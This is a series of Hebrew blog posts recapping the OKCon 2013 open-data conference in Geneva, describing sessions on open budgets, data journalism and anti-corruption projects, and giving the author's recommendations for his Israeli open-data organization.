Posts

Yosef Weisman @ OKCon

OKCon 2013 – פוסט סיכום

אחרי שדיווחתי לכם על החוויות שלי מכנס OKCon האחרון שנערך בז’נווה (היום הראשון, היום שני, היום שלישי), ולקחתי עוד איזה חודש לחזור קצת לעניינים בסדנא, הגיע הזמן לפוסט סיכום.

קודם כל, אני רוצה להודות לסדנא ששלחה אותי לכנס ונתנה לי הזדמנות להיחשף לעבודה המדהימה בחלקה שנעשית במקומות אחרים, וגם לקחת קצת חופש מהעבודה והחיים. אמנם הייתה לי ביקורת על הכנס, כפי שניתן היה להבין מהפוסטים היומיים שלי, אבל הוא גם זימן לי אפשרות לחשוב לעומק על העבודה של הסדנא ולהשוות אותה ליוזמות אחרות מרחבי העולם.

הגעתי לשלוש מסקנות מרכזיות שאני רוצה לשתף איתכם:

מידע פתוח לעומת ידע ציבורי

במהלך הכנס, התברר לי שיש שני סוגים של ארגוני בתחום המידע הפתוח: ארגונים שהמוקד שלהם הוא פתיחת המידע, וארגונים שהמוקד שלהם הוא הבאת והנגשת המידע אל הקהלים שזקוקים לו. באופן גס, אפשר לומר שארגונים מהסוג הראשון פועלים בעיקר בעולם המערבי, בעוד שארגונים מהסוג השני פועלים בעיקר במדינות מתפתחות. אני לא חושב שארגונים מסוג אחד טובים יותר או חשובים יותר מארגונים מהסוג האחר. הבעיה שאני מזהה בעולם הזה, ובמידה מסויימת גם בסדנא, היא שארגונים מהסוג הראשון – אלו שפותחים את המידע – חושבים על עצמם לפעמים כאילו הם בעצם ארגונים מהסוג השני – מביאים את המידע אל ההמונים. מעניין שדווקא הארגונים שפועלים במדינות המתפתחות פועלים יותר “בכוונה” להביא את המידע אל קהילות מקומיות.

אני חושב שזה קשור לכך שבמדינות המתפתחות אין את האשליה שאנשים יגיעו למידע אם רק נשים אותו באינטרנט, בגלל שלאנשים רבים אין חיבור מהיר לאינטרנט, ולפעמים אין אינטרנט בכלל. בעולם המערבי (ואני כולל את ישראל בתוכו) אמנם יש אינטרנט בפס רחב, אבל המידע הפתוח לא מגיע בהכרח לאנשים שצריכים אותו.

כדאי שכל ארגון יידע מה המטרה שלו, ואם ארגון מסויים החליט שהוא רוצה להתמקד רק בפעילות של פתיחת המידע, הוא צריך לוודא שהוא לפחות מגיע למתווכים – עיתונאים, חוקרים, בלוגרים ופעילים – שיכולים להעביר אותו הלאה אל האנשים שזקוקים לו. אחרת, אין לעבודה החשובה שלו השפעה על העולם האמיתי.

שכירים, מתנדבים וכנסים

האנשים שפגשתי ושמעתי בכנס היו כולם עובדים שכירים של הארגונים שבהם הם פועלים. אמנם לא דיברתי עם כל האנשים, או עם רובם, או אפילו עם חלק משמעותי כלשהו מהם, אבל הרושם שקיבלתי הוא שאני וגיא היינו היחידים שהגיעו לכנס כמתנדבים. כמובן שהייתי שמח אם היו יותר עובדים שכירים בסדנא. אנחנו כבר עושים דברים מדהימים עם המשאבים שעומדים לרשותנו, ואפשר רק לדמיין איזה דברים נשיג כשיהיה לארגון שלד של עובדים שכירים שדוחפים את הפרויקטים שלנו קדימה באופן יומיומי. אבל בהקשר של כנסים מהסוג הזה, אני רוצה להגיד שכדאי שלפחות אחד הנציגים יהיה עובד שכיר של הסדנא, או לפחות מישהו שחלק ניכר מהזמן שלו מוקדש לפעילות בסדנא. בכנסים האלו יש הזדמנויות רבות לשיתופי פעולה, יצירת קשרים ולמידה ארגונית שיתרמו רבות לפעילות של הסדנא. כמו שגיא ציין בפוסט הסיכום שלו, הרבה מהדברים שאנחנו עובדים עליהם כבר נעשו במקומות אחרים, ואם רק היינו יותר מודעים יותר לעבודה של ארגונים אחרים היינו יכולים לחסוך עבודה מיותרת מעצמנו.

מתנדבים, עם כל הרצון הטוב והמוטיבציה שלהם, צריכים בסופו של דבר לחזור לחיים הפרטיים שלהם, והסדנא היא לא המסגרת המרכזית בהם. היכולת שלהם לוודא שלהשתתפות בכנס יש תוצאות ארוכות טווח היא מוגבלת. עובדים קבועים של הסדנא, לעומת זאת, אמורים ויכולים לעשות את זה. כנסים הם דרך נהדרת בשביל הסדנא להראות למתנדבים שלה שהיא מעריכה את העבודה שלהם, אבל זאת לא המטרה היחידה שלהם. אני ממליץ שבמשלחת הבאה יהיה גם עובד אחד של הסדנא.

חוזים ותאגידים

שני סוגים של מידע פתוח שזוכים לתשומת לב רבה בעולם אבל עדיין לא נגענו מהם מספיק בארץ הם מידע פתוח על חוזים ממשלתיים ומידע פתוח על תאגידים. שני סוגי המידע האלו נוגעים לעולם העסקי, שלו השפעה עצומה על הפוליטיקה. עיסוק רק בצד הפוליטיקאים מפספס את התמונה המלאה של החיים הציבוריים. בצד השני נמצאים בעלי ההון ועוזריהם, אנשים עם פנים ושמות בדיוק כמו הפוליטיקאים. ההשפעה שלהם על חלוקת המשאבים בחברה אדירה. במדינה כמו שלנו, שסובלת מרמות גבוהות של ריכוזיות וקשרי הון-שלטון, חסרונו של המידע הזה בולט עוד יותר. פתיחת המידע מצד אחד על מכרזים וחוזים ממשלתיים, שבאמצעותם הממשל רוכש שירותים ומוצרים מהמגזר הפרטי, ועל המבנה של תאגידים מצד שני, יזין את הדיון הציבורי ביותר עובדות ונתונים ויאפשרו מאבק יעיל יותר בתופעות האלו. החברה האזרחית מוכנה למידע הזה, והגיע הזמן שאנחנו נספק אותו.

 

יש לנו הרבה במה להתגאות, אבל גם עוד הרבה ללמוד. הכנס הבא של ה-OKF יהיה ה-OKFestival, שיתקיים בין ה-15-18 ביולי בברלין. אני מקווה שהסדנא תארגן משלחת נוספת, וממליץ לכל מי שאוהב כנסים ויש לו תשוקה לתחום להגיש מועמדות.

שנה טובה!
התג שלי מהכנס

כנס OKCon יום שלישי, רביעי וחמישי + סיכום

היי לכולם, הפוסט הזה מאגד שלושה ימים בייחד, הוא ארוך אבל נראה לי הכי מעניין מכל הפוסטים.

איפה הכסף – משהו שאין לנו בסדנא

היום השלישי ב-OKCon התחיל בכך שהגעתי באמצע פאנל שלא הופיע בתכנייה בשם “follow the money” (היה חמוד שאת הדרך לאולם סימנו בחצים עם דולרים עליהם). בפנים החדר היה מלא וחם, ויוסף כבר היה שם אז החלטתי לצאת ולטייל בלובי. אציין שיש כאן הרבה אנשים שמתעסקים בחברות והתקציבים שלהם, הם ממפים אותן ומנסים להבין איך הן משפיעות על הציבור. אם זה מעניין מישהו בסדנא והוא רוצה קצת מידע איך מתחילים אז אני יכול להפנות אותו לאנשים שכבר עושים דברים כאלה. בדרך תפסתי מישהו והוא סיפר לי על כלי לניתוח קבצי CSV באמצעות Git. מצאתי גם כלי לבדיקת שינויים ב-CSV מאותו יוצר.

OpenGLAM – מוזאונים, גלריות וארכיונים פתוחים, והם יוצרים הרבה כלים למפות

עברתי לאולם המרכזי שבו היו דיונים על ארכיונים פתוחים, מה שלקחתי משם בעיקר הוא שיש להם הרבה כלים להוסיף הערות שוליים למפות של מידע. הוצג שם על ידי ברנארד האסלהופר (bernhard haslhofer) כלי קוד פתוח שפתח בשם MapHub למיפוי מפות ישנות (אבל לא רק), וניתן לשלב אותו עם כלי אחר בשם annotorious, שנותן להוסיף ההערות שוליים, נראה לי יש אנשי מפות בסדנא ששווה להם להעיף מבט ולראות אם זה מאפשר להם משהו חדש.

סשן openSpending

זה היה אחד הסשנים היותר מעניינים של הכנס. הדבר הראשון שגיליתי בו הוא ש-“תקציב פתוח השוויצרי” עשו בדיוק את אותה ויזואליזציה שאנחנו עשינו להצעת התקציב שלנו (הנה הוילואליזציה שלנו להשוואה). ההבדל הוא שהשווייצרי ברמה של ערים, ויש רשימה של עוד ערים כאן. אני רוצה לציין שוב ושוב בכנס – אנחנו ממציאים את הגלגל כל פעם מחדש! כלומר מפתחים שוב ושוב את אותה אפליקציה שעושה בדיוק אותו דבר. אם הייתה לנו דרך לדעת מה יש בחוץ, לא היו יושבים בשני מקומות שונים בעולם ומפתחים פעמיים את אותו דבר בדיוק. לאחר המפגש דיברתי אם אנדרס, שהוא המנהל של התקציב פתוח ב-OKF ויש הענות לעשות האקאטון עולמי, כנראה בסוף שבוע, שיערך במקביל בכמה מקומות בעולם שמעוניינים גם כן. בהאקטון נתמקד על שיתוף פעולה לפיתוח כלים לקידום עבודה משותפות. הרעיון הוא לפתוח דברים שבכל מדינה רק יהיו צריכים לחבר את הנתונים שלהם ולקבל מיידית את אותם תוצאות. אני מקווה שזה ייצור שיתוף פעולה מרמה שעדיין לא ראינו ואני מקווה ליצור האקטון כזה שאחזור. ששווה להזכיר בסדנא הזו את עבודתה של ויקטוריה ולד (Victoria Vlad), שהציגה איפו-גראפים-סיפוריים של האתר budgetstories.md, הנה למשל דוגמא לאחד. אני חושב שיכול להיות נחמד לעשות משהו כזה מנתונים בסדנא. ויקטוריה סיפרה לי שהם יוצרים בעיקר מוצלחים שבאמת יש או אג’נדה לספר, זהו המתכון לסיפור שאפשר לספר ולהפיץ בקלות ברשת. לסיום דיבר מארק, שהעבודה שלו להעריך מה הסיכוי שמדינה תפשוט רגל. מרק שמח לפגוש אותי, מפני שהשתתף ב-Friday Night Hack של הסדנא בסן פרנסיסקו. יש הרבה עניין ב-openmuni בחו”ל. כל מי שהשתתף בהאקטון הזה ראה את עצמו כחלק מהסדנא לידע ציבורי (אחד מהם אפילו הסובב בכנס כאשר על התג שלו כתוב “hasadna”). נראה שההאקטון הזה עשה גלים בעולם. לאחר הפאנל הייתה הדגמה של ה-Load API של OpenSpending. מה ש-OpenSpending עשו מאפשר לסרן (כן כן CERN מהמאיץ חלקיקים), להעלות את הקבצים שלהם דרך API ושהם יועברו יישירות ל-SpenSpending וכך הם לא צריכים לתחזק אתר משלהם. בצורה זו סרן מקבלים שירות שנותן להם לראות את ההוצאות שלהם. היתרון בדבר כזה הוא ש-OKF הופכים גם לנותני שרות (ואני מעריך מקבלים תקציב כך). כמו כן זה מעניין לראות קריאה ל-JSON יש כתובת מאיפה למשוך את הקבצים בשרת HTTP, לא רואים את זה הרבה ב-API. היה עוד טיפ שקיבלתי שנראה לי כדאי שסדנא תדע: כדאי לדבר עם פקידים בממשל יותר מאשר חברי כנסת. מפני שגם הממשלה הנוכחית תתחלף בסופו של דבר, פקידים נשארים שנים במערכת. נראה שזו הדרך של OKF. המשך קריאה…

כנס OKCon / היום השלישי ו-1⁄3 – יוסף ויסמן

 

היום ושליש האחרון של הכנס (הנה לינק נחמד לסיכום היום הראשון, וזה לינק נחמד יותר לסיכום היום השני). ארוך להחריד, אבל שווה את זה!

Follow the money

הבוקר התחיל עם עוד סדנה חסרת תועלת בנושא מעקב אחר כסף. בחצי הראשון המארגנים פשוט נתנו לכל מי שרוצה להציג את עצמו ולהגיד מה שבא לו. בחצי השני התפתח איזשהו דיון מאד לא מעניין. אני חושב שהמטרה הייתה להקים איזושהי קואליציה בינלאומית של ארגונים שעוסקים במידע פתוח על כסף ותקציבים, אבל לא ברור אם זה באמת הצליח או לא.

עברו כבר יומיים של הכנס, והרגשתי שעוד לא למדתי שום דבר חדש. אז צייצתי את הציוץ הבא:

https://twitter.com/YosefWaysman/status/380257447707164672

אין קול ואין עונה.

Data-driven campaigning

משם המשכתי לפאנל בנושא קמפיינים מבוססי מידע. הפאנל הזה כבר היה הרבה יותר מעניין.

ראשון דיבר מישהו מה-Sunlight Foundation דיבורים מאד כלליים שלא עזרו לאף אחד. מה קשה להראות משהו שעשיתם ולהגיד עליו כמה מילים?!

שני דיבר Adriano Belisário Feitosa da Costa מהפרויקט Who Owns Brazil? המטרה של הפרויקט הייתה להבין כיצד בנוי המשק בברזיל, לחשוף את המבנים הריכוזיים ששולטים בו, ולהראות את הקשרים של טייקונים עם הממשל (באמצעות מידע על מכרזים, אם הבנתי נכון). אדריאנו טוען שהמידע שהפרויקט חשף היה אחד הטריגרים למחאה החברתית הגדולה שפרצה בברזיל.

שלישי דיבר Marko Rakar – פעיל חברתי והאקר מקרואטיה. מרקו הוא, אם להתנסח באיפוק, אחד האנשים המרשימים ביותר ששמעתי בחיי. למרות שהוא סיפר על שחיתות שאוכלת בארצו בכל פה, הוא היה מלא חוש הומור והצליח לרתק את הקהל בסיפורים שלו. הוא סיפר שהחליט להפוך לפעיל חברתי כשפקידים מושחתים סגרו את העסק שלו אחרי שסירב לשלם להם שוחד. הוא הקים בלוג פוליטי, שבו הוא ופעילים נוספים הביעו את דעותיהם על הנעשה בקרואטיה. בהמשך, יזם מרקו כמה פרויקטים מעניינים:

  • פרויקט המידע הפתוח הראשון של מרקו עסק בספר הבוחרים בקרואטיה. הסתבר שבקרואטיה יש יותר בוחרים מאזרחים. מרקו התחיל לחטט בספר הבוחרים ובדו”חות של מפקדי אוכלוסין כדי לנסות לאתר את האנומליה. התברר שהמקומות שבהם יש בוחרים רבים יותר ממספר התושבים הם בעיקר עיירות ששוכנות קרוב לגבול. בעזרת גולשים אחרים, הצליח מרקו לגלות שמדובר באזרחים קרואטים שבפועל לא חיים בקרואטיה, אלא עובדים במדינות הסמוכות. פקידי ממשל מושחתים שמקורבים למפלגת השלטון הציעו לאזרחים שעזבו את הארץ להישאר במרשם האוכלוסין, מה שמבטיח להם הטבות סוציאליות שונות כמו ביטוח לאומי וביטוח רפואי, ובתמורה הם צריכים לחזור ולהצביע בבחירות למפלגת השלטון. מרקו חשף את הסיפור בבלוג שלו, ועד מהרה הסיפור הגיע לגופי התקשורת הממוסדים ואל החדשות בטלוויזיה ובעיתונים. מרקו רוצה להאמין שהחשיפה הזאת תרמה להפסד המפלגה בבחירות והחלפת השלטון.
  • יום אחד הצליח מרקו לפצח שרת של הממשלה ולשלוח אליו שאילתא שהחזירה לו את כל החוזים שהממשלה חתמה עם חברות פרטיות. הוא העלה את כל החוזים לשרת משלו והקים אתר שבו אפשר לתשאל את המאגר. מכיוון שמרקו היה נחוש להביך את הממשלה, ולא רק להנגיש מידע לציבור, הוא הוסיף פילטרים מעניינים לחיפוש שאפשרו למשתמשים למצוא חיתוכי מידע מעניינים. למשל, “חברות שמחזור העסקים שלהן זהה להקיף החוזים שלהם עם הממשלה” או “חברות שחתמו על חוזים בהיקף של יותר מ-5 מיליון דולר ומעסיקות פחות מ-5 עובדים”, כדי לחשוף מקרים פוטנציאליים של שחיתות. גם במקרה הזה, התקשורת הממוסדת עסקה בסיפור ועוררה את המודעות הציבורית.
  • הפרויקט הכי מעניין שמרקו דיבר עליו עסק דווקא במידע “לא-קונבניציונלי”. אחד החברים של מרקו הפנה את תשומת ליבו לכך שבכל תמונה של ראש ממשלת קרואטיה נראה שהוא עונד שעון אחר. האבחנה הזאת סקרנה את מרקו, והוא ביקש מחבר שלו – צלם עיתונות – לנסות ללכוד את שעון היד של ראש הממשלה בכל פעם שהוא מצלם אותו. תוך זמן קצר, הצליחו מרקו והשותפים שלו למפות את קולקציית השעונים המלאה של ראש ממשלה, שהוערכה כבעלת שווי של 300 אלף דולר. הם הניחו ששעונים בשווי הזה מצביעים על עושר רב. גם הפעם, המידע הסנסציוני פורסם באינטרנט והתקשורת הממוסדת הביאה איתו לידיעת הציבור. לדבריו, הסיפור התפרסם בבוקר, וכבר בחדשות הערב אפשר היה לראות את דובר משרד ראש הממשלה מדלג בין מהדורות החדשות ומסביר באמצעות קטלוג שעונים שהשווי האמיתי של האוסף קטן בהרבה. הוא לא סיפר מה קרה לאחר מכן, רק ציין שאותו ראש ממשלה יושב עכשיו בכלא.

לאחרונה, שכרה ממשלת קרואטיה את השירותים של מרקו, והיום הוא אחראי על חשיפת שחיתות בשירות הציבורי. הוא אומר שאסור לו מבחינה משפטית לספר על הדברים שגילה, אבל שמדובר בסיפורים מסמרי שיער, ושברגע שהחוזה שלו יסתיים הוא יכתוב על כך ספר. אני ממליץ לכם בחום רב לחפש סרטונים שלו (הנה אחד לפתיחה), ולסדנא אני ממליץ לנסות להביא אותו לארץ לסבב הרצאות (הוא אמר לי שהוא מאד רוצה לבקר בישראל).

בעקבות הפאנל, הגעתי לשתי תובנות חשובות:

  1. אם אנחנו רוצים להשיג תוצאות משמעותיות בזמן קצר, אנחנו צריכים לסייע לבלוגרים ולעיתונאים לגלות ולייצר סיפורים קצרים וסנסציוניים. ברגע שסיפור מגיע לתקשורת הממוסדת, הממשל כבר לא יכול להישאר אדיש, והציבור נחשף אל המידע. יכול להיות שבמציאות של משאבים מוגבלים, ארגונים של מידע פתוח צריכים לוותר או לדחות מטרות ערטילאיות כמו חינוך והגברת מודעות, ולהתמקד בשיתוף פעולה עם התקשורת.
  2. מסתבר שהשאיפה לאובייקטיביות לא משותפת לכל ארגוני המידע הפתוח. גם אדריאנו וגם מרקו הובילו פרוייקטים שהיו במודע ובמופגן מיועדים להביך את הממשלה המכהנת ולהביא להפלתה. אמנם בשני הפרויקטים הייתה הקפדה על אמינות המידע, אבל לא היה שום היסוס לנקוט עמדה ולהעביר ביקורת.

Data-driven storytelling

אחרי הצהריים, הלכתי לסדרת הרצאות בנושא סיפורים מבוססי מידע. לא היה ברור מה ההבדל המהותי בין הסשן הזה לקודם שהייתי בו, אבל לשמחתי הרבה, הראו הרבה תצלומי מסך של פרויקטים אמיתיים ומגוונים, אז מי אני שאתלונן?! חמשת ההרצאות האלו הוקלטו ומומלץ לצפות בהן (כל מה שמתויג כ- Session : Evidence).

  • Maya Ganesh מ-Tatical Technology Collective נתנה כמה דוגמאות של עיתונות מבוססת נתונים:
    • Brown Moses Blog – בלוגר שמנתח שידורי טלוויזיה צילומי וידאו מסוריה ומדווח על סוגי הנשק שהוא מזהה בהם.
    • Dronestagram – בלוג שמחבר בין דיווחי חדשות על תקיפות מזל”טים לתצלומי לווין של המקומות שהותקפו, ובכך כביכול מוסיף את המימד האנושי לדיווחים.
    • Exposing the Invisible – סרט שניתן להורדה חופשית ומציג את עבודתו של עיתונאי אחד באזרבייג’ן שמשתמש במידע שזמין באינטרנט לחשיפת שחיתויות של הממשלה באזרביג’ן. האתר של הפרויקט מציע גם מדריכים לשימוש אפקטיבי במידע.
  • Justin Arenstein מה-African Media Initiative דיבר לשמחתי הרבה על יצירת מערכות של מידע פתוח שמבוססות על ביקוש וממוקדות באזרחים. הוא דיבר בקצרה על הצורך של ארגוני המידע הפתוח להתמקד בהנגשה של מידע שרלוונטי לבעיות אמיתיות של אנשים אמיתיים, במקום בפיתוח אפליקציות שלא ברור בדיוק איזה צורך קונקרטי הן משרתות, והציג בזה אחר זה מספר פרויקטים שהוא היה מעורב בהם:
    • GoToVote! Kenya – פרויקט של איתור קלפיות לבחירות הארציות. ממשלת קניה שחררה את המידע הזה בקבצי PDF להורדה, מה שהופך את המידע ללא נגיש עבור רבים שאין להם גישה לאינטרנט בפס רחב. בהוצאה של $250 דולר ויום וחצי עבודה, הצליחו להקים את הפרויקט הזה, שאפשר לאנשים לאתר הקלפיות שהם יכולים להצביע בהם וסיפק מידע נוסף על תהליך ההצבעה. פיצ’ר מרכזי בפרויקט הזה ובפרויקטים אחרים שהוקמו באפריקה היא היכולת לקבל מידע באמצעות SMS – דרך תקשורת שזמינה כיום לרוב האנשים.
    • Data Bootcamp ומפגשי Hacks/Hackers – יוזמות של הכשרת עיתונאים להשיג, להבין ולחקור מידע פתוח.
    • Where My Money Dey – פרויקט שחושף כיצד מושקעים כספי התמלוגים שחברות הכריה בגאנה משלמות לממשלה עבור הזכות לכרות על אדמתה. המידע של הפרויקט “גורד” מדו”חות של חברות הכריה הזרות. הפרויקט עלה $500 ופותח בשלושה ימים. נראה שהאתר עדיין באיזשהו בטא, אבל הרעיון ברור.
    • Racial distribution in South Africa – פרויקט שמבוסס על נתוני מפקד האוכלוסין של דרום אפריקה, ומציג את קרקעות לפי הגזע של הבעלים. המפה מראה שלמרות ביטול האפרטהייד, לא היה שינוי משמעותי בבעלות על קרקעות בין גזעים.
    • Code for Africa – פרויקט של הכשרת “האקרים” מקומיים שיכולים להמשיך את מאמצי פתיחת המידע מתוך הקהילות עצמן, ובכך מאפשר לאזרחים לפעול בעצמם להשגת המידע שמעניין אותם.
    • FindMySchool – אתר שמציג מידע על בתי ספר.
    • the Star Health – ווידג’ט משותף לאתר החדשות the Star שמציג מידע על רופאים ובתי חולים (מסתבר שיש בקניה בעיה חמורה של אנשים שעוסקים ברפואה אך אינם בעלי הכשרה מתאימה).

    כפי שניתן לראות, מרבית הפרויקטים שהוזכרו פותחו עבור קניה, אך פרויקטים למדינות נוספות באפריקה ומחוצה לה יתחילו בשנה הבאה. האתגר של מידע פתוח במדינות מתפתחות עשוי להראות קיצוני ורחוק מאיתנו, אבל אני חושב שהניסיון של הבאת מידע פתוח, ובמיוחד החינוך לחשיבות שלו, בקהילות מוחלשות רלוונטי ביותר גם לנו בישראל.

  • Irene Jay Liu, עיתונאית של רויטרס מהונג קונג, סיפרה על שני פרויקטים של ויזואליזציות של מידע שהיא הייתה מעורבת בהם:
    • הפרויקט הראשון הוא תחקיר שעסק בחשיפה של הדרכים שבה איראן עוקפת את הסנקציות הבינלאומיות דרך הונג קונג. היא חפרה במאגר מידע של שילוחים והוציאה משם מידע על חברות שעשו משלוחים מאיראן. את השמות האלו היא חיפשה במרשם החברות של הונג-קונג, וכך הצליחה לחשוף את חברות הקש שפועלות בהונג קונג ומאפשרות לאיראן לסחור עם מדינות אחרות. הנה האינפוגרפיקה המלאה (קובץ גדול!).
    • הפרויקט השני הוא  Connected China – פרויקט עצום מימדים שמציג מידע על הממשל והכלכלה הסינית בצורה אינטראקטיבית. במילה אחת – overwhelming.

    חדי העין מביניכם יזהו אותי בכיסא הראשון משמאל בשורה השלישית, מנסה בכל כוחי לא להירדם אחרי שבלילה הקודם כתבתי פוסט סיכום עד בערך 2:00 לפנות בוקר.

  •  Federico Ramirez הציג את Subsidios al Campo en México – פרויקט מקסיקני שחושף כיצד מחולקות סובסידיות ממשלתיות לחקלאים. כנראה שזה נושא שמעניין הרבה אנשים, כי זמן קצר לאחר העלאת הפרויקט, הרשת כבר הוצפה בסיפורים סנסציונים על סובסידיות עודפות שחולקו למקורבים ולברוני סמים. אמנם אני לא בדיוק מבין איך בכלל משתמשים באתר הזה (ואני אמור להיות מסוגל למרות שאני לא דובר לדינו או איזה שפה שלא מדברים שם), אבל כנראה שזה היה מספיק טוב למלא אנשים אחרים!
  • Benjamin Wiederkehr מהסטודיו Interactive Things, שהנחה גם את הסדנה הכושלת הראשונה שהשתתפתי בה, היה מעצבן במיוחד ודיבר על מתודולוגיות של עבודה על ויזואליזציות מידע. במסווה של מצגת פרקטית, הוא פשוט התרברב בכל מיני פרויקטים שהוא השתתף בהם, ובראשם הפרויקט Fukushima (דפדפו בפנים ותראו כל מיני גרפים ומפות יפים ויפות). להגנתו יאמר שהוא באמת מעצב מדהים.

אני בסדנה על ויזואלציות של מידע

מתי זה קרה?!

לא יודע איך ומתי, אבל גיליתי שגם האתר המולדובי הזה שמור אצלי – Budget Stories. נראה כמו פלטפורמה שמאפשרת לאנשים להעלות ויזואליזציות שמבוססות (ומקושרות) למידע על התקציב.

דברי סיכום ופרידה

למרות שנשארו עוד כמה סשנים ביום חמישי, דברי הסיכום של הכנס נשאו כבר ברביעי אחרי צהריים. Rakesh Rajani מ-Twaweza נשא נאום מעורר השראה על החשיבות של מידע פתוח כקטר של שינוי פוליטי. הוא קרא לנציגי הארגונים היושבים בחדר לזכור שמידע פתוח זה לא פלטפורמות וסטנדרטים, אלא פתרון לבעיות אמיתיות של אנשים אמיתיים. לדבריו, ארגוני המידע הפתוח צריכים להעדיף פרגמטיות פוליטית ושיתוף פעולה עם הרשויות על פני סטנדרטים גבוהים וטכנולוגיות מתקדמות שמעט מאד רשויות יכולות לעמוד בהם. אני מציע לכם מאד להאזין לנאום שלו.

אחריו עלו מארגני הכנס, הודו לכולם, הזילו דמעה, וסיפרו שבשנה הבאה OKFest יתקיים ב… ברלין!

בירות

בערב כולם הוזמנו לפאב ברובע Carouge הנידח לחגוג את סיום הכנס. בניגוד מוחלט לצו מצפוני, הלכתי. למרות שניסיתי ככל יכולתי לוודא שגיא יהיה שם לפני, מצאתי את עצמי שם לבד עם מלא אנשים. לשמחתי הרבה, מרקו מקרואטיה היה שם, אז נדחפתי לשיחה הזאת ומסתבר שהוא אדיר גם במציאות. סיפרתי לו שאני מישראל, והוא סיפר לי שפעם שלחו אותו להרצות ברמאללה לבכירי הפת”ח על מידע פתוח ושימוש באינטרנט לשמירת קשר עם האזרחים. לפי דעתו הם לא הבינו מה הוא רוצה מהחיים שלהם, אולי בגלל שהמתרגם הרחיב והחסיר מדבריו על דעת עצמו, והוא חזר כלעומת שבא. למרות זאת, הוא מאד התרשם מהלכלוך של רמאללה ומהאבטחה של נתב”ג. הוא אמר שהוא ישמח מאד לבקר בארץ, ואני אמרתי שאני אשמח מאד שהוא יבקר בארץ. אפשר לסדר שהוא יבקר בארץ?!

Learn How to Run Your Own Data Expedition

בבוקר יום חמישי – היום האחרון של הכנס ושלי בז’נווה – התקיימה הסדנה האחרונה שהשתתפתי בה – סימולציה של ביצוע תחקיר באמצעות מידע פתוח. בשביל להגיע לסדנה הייתי צריך להיגרר לקמפוס של אוניברסיטת ז’נווה בקצה השני של העיר, וחששתי מאד שהיא לא תצדיק את המסע הארוך הזה. להפתעתי הרבה, זו הייתה הסדנה המוצלחת ביותר שהשתתפתי בה.

את הסדנה ניהלו שני חברה מ-School of Data – יוזמת-בת של OKF שעוסקת בהכשרה לאוריינות מידע. מטרת הסדנה הייתה להראות למשתתפים כיצד מתבצע תחקיר באינטרנט שמבוסס על מידע פתוח. הנושא שנבחר לסדנה היה תעשיית הטקסטיל העולמית. המנחים שיתפו אותנו בגיליון נתונים שהכיל רשומות של מפעלי טקסטיל ברחבי העולם שסיפקו סחורה לכמה ממותגי האופנה הגדולים (Nike, H&M וכו’), שהמידע שבו גורד מדו”חות האחריות התאגידית של אותן חברות. המשתתפים חולקו לקבוצות (פרויקט שלקח כמעט שליש מהזמן שהוקצב למפגש!!!), וכל קבוצה הייתה צריכה לנסח שאלת מחקר ולהשתמש בנתונים שבגיליון ובמידע נוסף מהאינטרנט בשביל לענות עליה.

הקבוצה שאני השתתפתי בה החליטה (באיחור רב) לבדוק את “מדד התלות בנייקי” – האם יש עיירות שבהן נייקי מעסיקה חלק גדול מהתושבים, עד כדי כך שסגירת המפעל תיצור בהן אבטלה קשה. בשביל לענות על השאלה הזאת, רצינו מצד אחד לסכם את מספר העובדים של נייקי בכל עיירה, ומצד שני להשיג מידע על מספר התושבים בכל אחת מהן. בעוד שהחלק הראשון היה יחסית קל לביצוע, מסתבר שקשה מאד למצוא מקור מידע אמין שמספק את הנתון של מספר תושבים לכל יישוב בעולם. אם היה לנו יותר זמן היינו יכולים להתחיל לחפש מאגרי מידע מדינתיים, ואולי אפילו היינו מגיעים למידע איכותי יותר על מספר התושבים בגיל העבודה בכל יישוב. אבל לא היה לנו מספיק זמן. חבל! (?)

באתר של  School of Data יש חומרים רבים על אוריינות מידע שנראים מעניינים מאד. אולי שווה לנסות להוציא מהם תקציב לתרגום החומרים לעברית?

 

שמח וטוב לב, חזרתי למלון, אספתי את המזוודה, ונסעתי לשדה התעופה. בפוסט הבא, האחרון שלי בסדרת OKCon 2013, אסכם את התובנות המרכזיות שלי מהכנס.

כנס OKCon / היום השני – יוסף ויסמן

היום היה היום השני של כנס OKCon בז’נווה. מוכנים? יאללה:

From Government to Governance

הבוקר נפתח בסדרה של נאומי מוטיבציה והרצאות קצרות נוסח טד, שהחוט המקשר ביניהם היה “Open Data = Awesome”. ניתן לצפות בנאומים כאן (סרטונים שמתיוגים Main Stage Session : Open Government). הנה כמה נקודות מעניינות שצדו את אזני:

  • Ellen Miller, מייסדת ומנכ”לית ה-Sunlight Foundation נתנה נאום חוצב להבות על הצורך בשקיפות פוליטית. הנאום היה קודר משהו, וניכר שהיא מוטרדת מאד ממצב השקיפות בארצה (ארה”ב) – הן מרמת שיתוף הפעולה של הממשל והן מרמת המעורבות האזרחית. מעניין היה לשמוע שבניגוד לדברים ששמענו מפעילים במדינות אחרות, ובניגוד למה שאנחנו מנסים לעשות בישראל, מילר והארגון שלה תופסים עצמם ופועלים כיריבים של הממשל, ולא כשותפים שלו. היא סיפרה שהיא גילתה שהדרך הכי יעילה להפעיל לחץ להגברת השקיפות בארה”ב היא ליצור קשרים דווקא עם המפלגה שהפסידה בבחירות, מפני שהיא מעוניינת בהגברת הביקורת וחשיפת הכשלונות של הממשל הנכנס. היא גם קראה לארגונים לנקוט בשיטה של ביוש (shaming) משרתי ציבור שלא מתנהלים בשקיפות (בדומה למהלך המבריק של הסדנא עם tipa.li).
  • Chris Taggart הציג את הפרויקט שהוא ייסד – OpenCorporates. מדובר במסד נתונים ואתר שחושף את המבנים והקשרים של תאגידים. אני מודה שלא הבנתי עד הסוף מה אפשר לעשות עם הכלי הזה, אבל כדאי שנזכור שיש דבר כזה, אם יום אחד נרצה להכנס גם לתחום הזה. אה, והם גם מחפשים בנרות מפתח Ruby ש-“Gives a damn”.
